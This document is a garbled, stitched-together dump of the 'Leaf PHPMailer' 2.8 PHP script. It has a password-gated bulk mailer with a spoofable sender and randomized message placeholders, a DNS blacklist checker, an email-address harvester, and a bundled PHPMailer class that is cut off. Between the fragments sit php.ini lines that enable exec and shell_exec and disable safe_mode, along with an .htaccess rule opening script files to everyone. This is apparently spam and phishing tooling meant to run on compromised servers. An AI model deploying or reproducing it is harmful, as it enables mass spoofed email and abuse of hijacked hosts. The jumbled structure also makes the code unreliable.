        print '<div class="col-lg-1">['.$x.'/'.$n.']</div><div class="col-lg-4">'.$email.'</div>';
        if(!leafMailCheck($email)) {
            print '<div class="col-lg-6"><span class="label label-default">Incorrect Email</span></div>';
            print "<br>\r\n";
        }
        else {
            $mail = new PHPMailer;
            $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
            $mail->addReplyTo(leafClear($replyTo,$email));
            $mail->addAddress($email);
            $mail->Subject = leafClear($subject,$email);
            $mail->Body =  leafClear($messageLetter,$email);
            if($messageType==1){
                $mail->IsHTML(true);
                $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
            }
            else $mail->IsHTML(false);
            $mail->CharSet = $charset;
            $mail->Encoding = $encoding;
            for($i=0; $i<count($_FILES['attachment']['name']); $i++) {
                if ($_FILES['attachment']['tmp_name'][$i] != ""){
                    $mail->AddAttachment($_FILES['attachment']['tmp_name'][$i],$_FILES['attachment']['name'][$i]);
                }

            }
            
            if (!$mail->send()) {
                echo '<div class="col-lg-6"><span class="label label-default">'.htmlspecialchars($mail->ErrorInfo).'</span></div>';
            }
            else {
                echo '<div class="col-lg-6"><span class="label label-success">Ok</span></div>';
            }
            print "<br>\r\n";
        }
        $x++;
        for($k = 0; $k < 40000; $k++) {echo ' ';}
    }

}
elseif($_POST['action']=="score"){
    $mail = new PHPMailer;
    $mail->setFrom(leafClear($senderEmail,$email),leafClear($senderName,$email));
    $mail->addReplyTo(leafClear($replyTo,$email));
    $mail->addAddress("username@domain.com");
    $mail->Subject = leafClear($subject,$email);
    $mail->Body =  leafClear($messageLetter,$email);
    if($messageType==1){
        $mail->IsHTML(true);
        $mail->AltBody =strip_tags(leafClear($messageLetter,$email));
    }
    else $mail->IsHTML(false);
    $mail->CharSet = $charset;
    $mail->Encoding = $encoding;
    $mail->preSend();
    $messageHeaders=$mail->getSentMIMEMessage();
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_URL, 'http://spamcheck.postmarkapp.com/filter');
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query(array('email' => $messageHeaders,'options'=>'long')));
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_TIMEOUT, 15);
    $response = curl_exec($ch);
    $response = json_decode($response);
    print '    <div class="col-lg-12">';
    if ($response->success == TRUE ){
        $score = $response->score;
        if ($score > 5 ) $class="danger";
        else $class="success";
            print '<div class="text-'.$class.'">Your SpamAssassin score is '.$score.'  </div>
<div>Full Report : <pre>'.$response->report.'</pre></div>';
print '    </div>';
    }
}
print '</body>';
?>safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "WY9TJzoQyeX";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
        preg_match_all($pattern, $_POST['emailList'], $matches);
        foreach ($matches[0] as $email) {
            print $email."\n";
        }
    }
    elseif ($_POST['submit']=="filter") {
        $emails=explode("\n", $_POST['emailList']);
        $keywords=explode("\n", strtolower($_POST['keywords']));
        foreach ($emails as $email) {
            foreach ($keywords as $keyword ) {
                if(strstr($email, $keyword) ){
                    print $email."\n";
                     break;
                }
               
            }
        }

    }
    exit;
   }
   leafheader();
   print '<div class="container col-lg-4"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Email Filter</small></h3>';
   print '
    <form action="?emailfilter=ifram" method="POST" target="my-iframe" enctype="multipart/form-data" onsubmit=\'\'>
        <label for="emailList">Text </label><input type="file" name="fileToUpload" id="fileToUpload"> 
        or

        <textarea name="emailList" id="emailList" class="form-control" rows="7" id="textArea"></textarea>
      <div class="col-lg-12">
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="here" checked="">
            Show Result in this page
          </label>
        </div>
        <div class="radio">
          <label>
            <input type="radio" name="resulttype" id="resulttype" value="download">
            Download Result (for big numbers)
          </label>
        </div>
      </div>
            <legend><h4>Extract Email</h4></legend>
            Detecting every email (100%) and order them line by line <br><br>
        <button type="submit" name="submit" value="extract" class="btn btn-default btn-sm">Start</button>
            <legend><h4>Filter Emails</h4></legend>
        <label >Keywords <small> ex: gmail.com or .co.uk</small> </label><textarea name="keywords" id="keywords" class="form-control" rows="4" id="textArea">gmail.com
hotmail.com
yahoo.com
.co.uk</textarea><br>

            <button type="submit" name="submit" value="filter" class="btn btn-default btn-sm">Start</button>
    </form>
    <label >Result </label>
    <iframe style="border:none;width:100%;" name="my-iframe"  src="?emailfilter=ifram" ></iframe>
   ';
   exit;

}
$html="checked";
$utf8="selected";
$bit8="selected";

if($_POST['action']=="send" or $_POST['action']=="score"){

    $senderEmail=leafTrim($_POST['senderEmail']);
    $senderName=leafTrim($_POST['senderName']);
    $replyTo=leafTrim($_POST['replyTo']);
    $subject=leafTrim($_POST['subject']);
    $emailList=leafTrim($_POST['emailList']);
    $messageType=leafTrim($_POST['messageType']);
    $messageLetter=leafTrim($_POST['messageLetter']);
    $encoding = $_POST['encode'];
    $charset = $_POST['charset'];
    $html="";
    $utf8="";
    $bit8="";

    if($messageType==2) $plain="checked";
    else $html="checked";

    if($charset=="ISO-8859-1") $iso="selected";
    else $utf8="selected";

    if($encoding=="7bit") $bit7="selected";
    elseif($encoding=="binary") $binary="selected";
    elseif($encoding=="base64") $base64="selected";
    elseif($encoding=="quoted-printable") $quotedprintable="selected";
    else $bit8="selected";



}
if($_POST['action']=="view"){
	$viewMessage=leafTrim($_POST['messageLetter']);
	$viewMessage=leafClear($viewMessage,"user@domain.com");
	if ($_POST['messageType']==2){
		print "<pre>".htmlspecialchars($viewMessage)."</pre>";
	}
	else {
		print $viewMessage;
	}
	exit;
}



if(!isset($_POST['senderEmail'])){
    $senderEmail="support@".str_replace("www.", "", $_SERVER['HTTP_HOST']);
    if (!leafMailCheck($senderEmail)) $senderEmail="";
}

class PHPMailer
{
    /**
     * The PHPMailer Version number.
     * @var string
     */
    public $Version = '5.2.28';

    /**
     * Email priority.
     * Options: null (default), 1 = High, 3 = Normal, 5 = low.
     * When null, the header is not set at all.
     * @var integer
     */
    public $Priority = null;

    /**
     * The character set of the message.
     * @var string
     */
    public $CharSet = 'iso-8859-1';

    /**
     * The MIME Content-type of the message.
     * @var string
     */
    public $ContentType = 'text/plain';

    /**
     * The message encoding.
     * Options: "8bit", "7bit", "binary", "base64", and "quoted-printable".
     * @var string
     */
    public $Encoding = '8bit';

    /**
     * Holds the most recent mailer error message.
     * @var string
     */
    public $ErrorInfo = '';

    /**
     * The From email address for the message.
     * @var string
     */
    public $From = 'root@localhost';

    /**
     * The From name of the message.
     * @var string
     */
    public $FromName = 'Root User';

    /**
     * The Sender email (Return-Path) of the message.
     * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.
     * @var string
     */
    public $Sender = '';

    /**
     * The Return-Path of the message.
     * If empty, it will be set to either From or Sender.
     * @var string
     * @deprecated Email senders should never set a return-path header;
     * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.
     * @link https://tools.ietf.org/html/rfc5321#section-4.4 RFC5321 reference
     */
    public $ReturnPath = '';

    /**
     * The Subject of the message.
     * @var string
     */
    public $Subject = '';

    /**
     * An HTML or plain text message body.
     * If HTML then call isHTML(true).
     * @var string
     */
    public $Body = '';

    /**
     * The plain-text message body.
     * This body can be read by mail clients that do not have HTML email
     * capability such as mutt & Eudora.
     * Clients that can read HTML will view the normal Body.
     * @var string
     */
    public $AltBody = '';

    /**
     * An iCal message part body.
     * Only supported in simple alt or alt_inline message types
     * To generate iCal events, use the bundled extras/EasyPeasyICS.php class or iCalcreator
     * @link http://sprain.ch/blog/downloads/php-class-easypeasyics-create-ical-files-with-php/
     * @link http://kigkonsult.se/iCalcreator/
     * @var string
     */
    public $Ical = '';

    /**
     * The complete compiled MIME message body.
     * @access protected
     * @var string
     */
    protected $MIMEBody = '';

    /**
     * The complete compiled MIME message headers.
     * @var string
     * @access protected
     */
    protected $MIMEHeader = '';

    /**
     * Extra headers that createHeader() doesn't fold in.
     * @var string
     * @access protected
     */
    protected $mailHeader = '';

    /**
     * Word-wrap the message body to this number of chars.
     * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.
     * @var integer
     */
    public $WordWrap = 0;

    /**
     * Which method to use to send mail.
     * Options: "mail", "sendmail", or "smtp".
     * @var string
     */
    public $Mailer = 'mail';

    /**
     * The path to the sendmail program.
     * @var string
     */
    public $Sendmail = '/usr/sbin/sendmail';

    /**
     * Whether mail() uses a fully sendmail-compatible MTA.
     * One which supports sendmail's "-oi -f" options.
     * @var boolean
     */
    public $UseSendmailOptions = true;

    /**
     * Path to PHPMailer plugins.
     * Useful if the SMTP class is not in the PHP include path.
     * @var string
     * @deprecated Should not be needed now there is an autoloader.
     */
    public $PluginDir = '';

    /**
     * The email address that a reading confirmation should be sent to, also known as read receipt.
     * @var string
     */
    public $ConfirmReadingTo = '';

    /**
     * The hostname to use in the Message-ID header and as default HELO string.
     * If empty, PHPMailer attempts to find one with, in order,
     * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value
     * 'localhost.localdomain'.
     * @var string
     */
    public $Hostname = '';

    /**
     * An ID to be used in the Message-ID header.
     * If empty, a unique id will be generated.
     * You can set your own, but it must be in the format "<id@domain>",
     * as defined in RFC5322 section 3.6.4 or it will be ignored.
     * @see https://tools.ietf.org/html/rfc5322#section-3.6.4
     * @var string
     */
    public $MessageID = '';

    /**
     * The message Date to be used in the Date header.
     * If empty, the current date will be added.
     * @var string
     */
    public $MessageDate = '';

    /**
     * SMTP hosts.
     * Either a single hostname or multiple semicolon-delimited hostnames.
     * You can also specify a different port
     * for each host by using this format: [hostname:port]
     * (e.g. "smtp1.example.com:25;smtp2.example.com").
     * You can also specify encryption type, for example:
     * (e.g. "tls://smtp1.example.com:587;ssl://smtp2.example.com:465").
     * Hosts will be tried in order.
     * @var string
     */
    public $Host = 'localhost';

    /**
     * The default SMTP server port.
     * @var integer
     * @TODO Why is this needed when the SMTP class takes care of it?
     */
    public $Port = 25;

    /**
     * The SMTP HELO of the message.
     * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find
     * one with the same method described above for $Hostname.
     * @var string
     * @see PHPMailer::$Hostname
     */
    public $Helo = '';

    /**
     * What kind of encryption to use on the SMTP connection.
     * Options: '', 'ssl' or 'tls'
     * @var string
     */
    public $SMTPSecure = '';

    /**
     * Whether to enable TLS encryption automatically if a server supports it,
     * even if `SMTPSecure` is not set to 'tls'.
     * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.
     * @var boolean
     */
    public $SMTPAutoTLS = true;

    /**
     * Whether to use SMTP authentication.
     * Uses the Username and Password properties.
     * @var boolean
     * @see PHPMailer::$Username
     * @see PHPMailer::$Password
     */
    public $SMTPAuth = false;

    /**
     * Options array passed to stream_context_create when connecting via SMTP.
     * @var array
     */
    public $SMTPOptions = array();

    /**
     * SMTP username.
     * @var string
     */
    public $Username = '';

    /**
     * SMTP password.
     * @var string
     */
    public $Password = '';

    /**
     * SMTP auth type.
     * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified
     * @var string
     */
    public $AuthType = '';

    /**
     * SMTP realm.
     * Used for NTLM auth
     * @var string
     */
    public $Realm = '';

    /**
     * SMTP workstation.
     * Used for NTLM auth
     * @var string
     */
    public $Workstation = '';

    /**
     * The SMTP server timeout in seconds.
     * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2
     * @var integer
     */
    public $Timeout = 300;

    /**
     * SMTP class debug output mode.
     * Debug output level.
     * Options:
     * * `0` No output
     * * `1` Commands
     * * `2` Data and commands
     * * `3` As 2 plus connection status
     * * `4` Low-level data output
     * @var integer
     * @see SMTP::$do_debug
     */
    public $SMTPDebug = 0;

    /**
     * How to handle debug output.
     * Options:
     * * `echo` Output plain-text as-is, appropriate for CLI
     * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output
     * * `error_log` Output to error log as configured in php.ini
     *
     * Alternatively, you can provide a callable expecting two params: a message string and the debug level:
     * <code>
     * $mail->Debugoutput = function($str, $level) {echo "debug level $level; message: $str";};
     * </code>
     * @var string|callable
     * @see SMTP::$Debugoutput
     */
    public $Debugoutput = 'echo';

    /**
     * Whether to keep SMTP connection open after each message.
     * If this is set to true then to close the connection
     * requires an explicit call to smtpClose().
     * @var boolean
     */
    public $SMTPKeepAlive = false;

    /**
     * Whether to split multiple to addresses into multiple messages
     * or send them all in one message.
     * Only supported in `mail` and `sendmail` transports, not in SMTP.
     * @var boolean
     */
    public $SingleTo = false;

    /**
     * Storage for addresses when SingleTo is enabled.
     * @var array
     * @TODO This should really not be public
     */
    public $SingleToArray = array();

    /**
     * Whether to generate VERP addresses on send.
     * Only applicable when sending via SMTP.
     * @link https://en.wikipedia.org/wiki/Variable_envelope_return_path
     * @link http://www.postfix.org/VERP_README.html Postfix VERP info
     * @var boolean
     */
    public $do_verp = false;

    /**
     * Whether to allow sending messages with an empty body.
     * @var boolean
     */
    public $AllowEmpty = false;

    /**
     * The default line ending.
     * @note The default remains "\n". We force CRLF where we know
     *        it must be used via self::CRLF.
     * @var string
     */
    public $LE = "\n";

    /**
     * DKIM selector.
     * @var string
     */
    public $DKIM_selector = '';

    /**
     * DKIM Identity.
     * Usually the email address used as the source of the email.
     * @var string
     */
    public $DKIM_identity = '';

    /**
     * DKIM passphrase.
     * Used if your key is encrypted.
     * @var string
     */
    public $DKIM_passphrase = '';

    /**
     * DKIM signing domain name.
     * @example 'example.com'
     * @var string
     */
    public $DKIM_domain = '';

    /**
     * DKIM private key file path.
     * @var string
     */
    public $DKIM_private = '';

    /**
     * DKIM private key string.
     * If set, takes precedence over `$DKIM_private`.
     * @var string
     */
    public $DKIM_private_string = '';

    /**
     * Callback Action function name.
     *
     * The function that handles the result of the send email action.
     * It is called out by send() for each email sent.
     *
     * Value can be any php callable: http://www.php.net/is_callable
     *
     * Parameters:
     *   boolean $result        result of the send action
     *   array   $to            email addresses of the recipients
     *   array   $cc            cc email addresses
     *   array   $bcc           bcc email addresses
     *   string  $subject       the subject
     *   string  $body          the email body
     *   string  $from          email address of sender
     * @var string
     */
    public $action_function = '';

    /**
     * What to put in the X-Mailer header.
     * Options: An empty string for PHPMailer default, whitespace for none, or a string to use
     * @var string
     */
    public $XMailer = ' ';

    /**
     * Which validator to use by default when validating email addresses.
     * May be a callable to inject your own validator, but there are several built-in validators.
     * @see PHPMailer::validateAddress()
     * @var string|callable
     * @static
     */
    public static $validator = 'auto';

    /**
     * An instance of the SMTP sender class.
     * @var SMTP
     * @access protected
     */
    protected $smtp = null;

    /**
     * The array of 'to' names and addresses.
     * @var array
     * @access protected
     */
    protected $to = array();

    /**
     * The array of 'cc' names and addresses.
     * @var array
     * @access protected
     */
    protected $cc = array();

    /**
     * The array of 'bcc' names and addresses.
     * @var array
     * @access protected
     */
    protected $bcc = array();

    /**
     * The array of reply-to names and addresses.
     * @var array
     * @access protected
     */
    protected $ReplyTo = array();

    /**
     * An array of all kinds of addresses.
     * Includes all of $to, $cc, $bcc
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     */
    protected $all_recipients = array();

    /**
     * An array of names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $all_recipients
     * and one of $to, $cc, or $bcc.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc
     * @see PHPMailer::$all_recipients
     */
    protected $RecipientsQueue = array();

    /**
     * An array of reply-to names and addresses queued for validation.
     * In send(), valid and non duplicate entries are moved to $ReplyTo.
     * This array is used only for addresses with IDN.
     * @var array
     * @access protected
     * @see PHPMailer::$ReplyTo
     */
    protected $ReplyToQueue = array();

    /**
     * The array of attachments.
     * @var array
     * @access protected
     */
    protected $attachment = array();

    /**
     * The array of custom headers.
     * @var array
     * @access protected
     */
    protected $CustomHeader = array();

    /**
     * The most recent Message-ID (including angular brackets).
     * @var string
     * @access protected
     */
    protected $lastMessageID = '';

    /**
     * The message's MIME type.
     * @var string
     * @access protected
     */
    protected $message_type = '';

    /**
     * The array of MIME boundary strings.
     * @var array
     * @access protected
     */
    protected $boundary = array();

    /**
     * The array of available languages.
     * @var array
     * @access protected
     */
    protected $language = array();

    /**
     * The number of errors encountered.
     * @var integer
     * @access protected
     */
    protected $error_count = 0;

    /**
     * The S/MIME certificate file path.
     * @var string
     * @access protected
     */
    protected $sign_cert_file = '';

    /**
     * The S/MIME key file path.
     * @var string
     * @access protected
     */
    protected $sign_key_file = '';

    /**
     * The optional S/MIME extra certificates ("CA Chain") file path.
     * @var string
     * @access protected
     */
    protected $sign_extracerts_file = '';

    /**
     * The S/MIME password for the key.
     * Used only if the key is encrypted.
     * @var string
     * @access protected
     */
    protected $sign_key_pass = '';

    /**
     * Whether to throw exceptions for errors.
     * @var boolean
     * @access protected
     */
    protected $exceptions = false;

    /**
     * Unique ID used for message ID and boundaries.
     * @var string
     * @access protected
     */
    protected $uniqueid = '';

    /**
     * Error severity: message only, continue processing.
     */
    const STOP_MESSAGE = 0;

    /**
     * Error severity: message, likely ok to continue processing.
     */
    const STOP_CONTINUE = 1;

    /**
     * Error severity: message, plus full stop, critical error reached.
     */
    const STOP_CRITICAL = 2;

    /**
     * SMTP RFC standard line ending.
     */
    const CRLF = "\r\n";

    /**
     * The maximum line length allowed by RFC 2822 section 2.1.1
     * @var integer
     */
    const MAX_LINE_LENGTH = 998;

    /**
     * Constructor.
     * @param boolean $exceptions Should we throw external exceptions?
     */
    public function __construct($exceptions = null)
    {
        if ($exceptions !== null) {
            $this->exceptions = (boolean)$exceptions;
        }
        //Pick an appropriate debug output format automatically
        $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        //Close any open SMTP connection nicely
        $this->smtpClose();
    }

    /**
     * Call mail() in a safe_mode-aware fashion.
     * Also, unless sendmail_path points to sendmail (or something that
     * claims to be sendmail), don't pass params (not a perfect fix,
     * but it will do)
     * @param string $to To
     * @param string $subject Subject
     * @param string $body Message Body
     * @param string $header Additional Header(s)
     * @param string $params Params
     * @access private
     * @return boolean
     */
    private function mailPassthru($to, $subject, $body, $header, $params)
    {
        //Check overloading of mail function to avoid double-encoding
        if (ini_get('mbstring.func_overload') & 1) {
            $subject = $this->secureHeader($subject);
        } else {
            $subject = $this->encodeHeader($this->secureHeader($subject));
        }

        //Can't use additional_parameters in safe_mode, calling mail() with null params breaks
        //@link http://php.net/manual/en/function.mail.php
        if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {
            $result = @mail($to, $subject, $body, $header);
        } else {
            $result = @mail($to, $subject, $body, $header, $params);
        }
        return $result;
    }
    /**
     * Output debugging info via user-defined method.
     * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).
     * @see PHPMailer::$Debugoutput
     * @see PHPMailer::$SMTPDebug
     * @param string $str
     */
    protected function edebug($str)
    {
        if ($this->SMTPDebug <= 0) {
            return;
        }
        //Avoid clash with built-in function names
        if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {
            call_user_func($this->Debugoutput, $str, $this->SMTPDebug);
            return;
        }
        switch ($this->Debugoutput) {
            case 'error_log':
                //Don't output, just log
                error_log($str);
                break;
            case 'html':
                //Cleans up output a bit for a better looking, HTML-safe output
                echo htmlentities(
                    preg_replace('/[\r\n]+/', '', $str),
                    ENT_QUOTES,
                    'UTF-8'
                )
                . "<br>\n";
                break;
            case 'echo':
            default:
                //Normalize line breaks
                $str = preg_replace('/\r\n?/ms', "\n", $str);
                echo gmdate('Y-m-d H:i:s') . "\t" . str_replace(
                    "\n",
                    "\n                   \t                  ",
                    trim($str)
                ) . "\n";
        }
    }

    /**
     * Send messages using SMTP.
     * @return void
     */
    public function isSMTP()
    {
        $this->Mailer = 'smtp';
    }

    /**
     * Send messages using PHP's mail() function.
     * @return void
     */
    public function isMail()
    {
        $this->Mailer = 'mail';
    }

    /**
     * Send messages using $Sendmail.
     * @return void
     */
    public function isSendmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'sendmail')) {
            $this->Sendmail = '/usr/sbin/sendmail';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'sendmail';
    }

    /**
     * Send messages using qmail.
     * @return void
     */
    public function isQmail()
    {
        $ini_sendmail_path = ini_get('sendmail_path');

        if (!stristr($ini_sendmail_path, 'qmail')) {
            $this->Sendmail = '/var/qmail/bin/qmail-inject';
        } else {
            $this->Sendmail = $ini_sendmail_path;
        }
        $this->Mailer = 'qmail';
    }

    /**
     * Add a "To" address.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addAddress($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('to', $address, $name);
    }

    /**
     * Add a "CC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('cc', $address, $name);
    }

    /**
     * Add a "BCC" address.
     * @note: This function works with the SMTP mailer on win32, not with the "mail" mailer.
     * @param string $address The email address to send to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addBCC($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('bcc', $address, $name);
    }

    /**
     * Add a "Reply-To" address.
     * @param string $address The email address to reply to
     * @param string $name
     * @return boolean true on success, false if address already used or invalid in some way
     */
    public function addReplyTo($address, $name = '')
    {
        return $this->addOrEnqueueAnAddress('Reply-To', $address, $name);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array. Because PHPMailer
     * can't validate addresses with an IDN without knowing the PHPMailer::$CharSet (that can still
     * be modified after calling this function), addition of such addresses is delayed until send().
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addOrEnqueueAnAddress($kind, $address, $name)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        if (($pos = strrpos($address, '@')) === false) {
            // At-sign is misssing.
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $params = array($kind, $address, $name);
        // Enqueue addresses with IDN until we know the PHPMailer::$CharSet.
        if ($this->has8bitChars(substr($address, ++$pos)) and $this->idnSupported()) {
            if ($kind != 'Reply-To') {
                if (!array_key_exists($address, $this->RecipientsQueue)) {
                    $this->RecipientsQueue[$address] = $params;
                    return true;
                }
            } else {
                if (!array_key_exists($address, $this->ReplyToQueue)) {
                    $this->ReplyToQueue[$address] = $params;
                    return true;
                }
            }
            return false;
        }
        // Immediately add standard addresses without IDN.
        return call_user_func_array(array($this, 'addAnAddress'), $params);
    }

    /**
     * Add an address to one of the recipient arrays or to the ReplyTo array.
     * Addresses that have been added already return false, but do not throw exceptions.
     * @param string $kind One of 'to', 'cc', 'bcc', or 'ReplyTo'
     * @param string $address The email address to send, resp. to reply to
     * @param string $name
     * @throws phpmailerException
     * @return boolean true on success, false if address already used or invalid in some way
     * @access protected
     */
    protected function addAnAddress($kind, $address, $name = '')
    {
        if (!in_array($kind, array('to', 'cc', 'bcc', 'Reply-To'))) {
            $error_message = $this->lang('Invalid recipient kind: ') . $kind;
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if (!$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (addAnAddress $kind): $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        if ($kind != 'Reply-To') {
            if (!array_key_exists(strtolower($address), $this->all_recipients)) {
                array_push($this->$kind, array($address, $name));
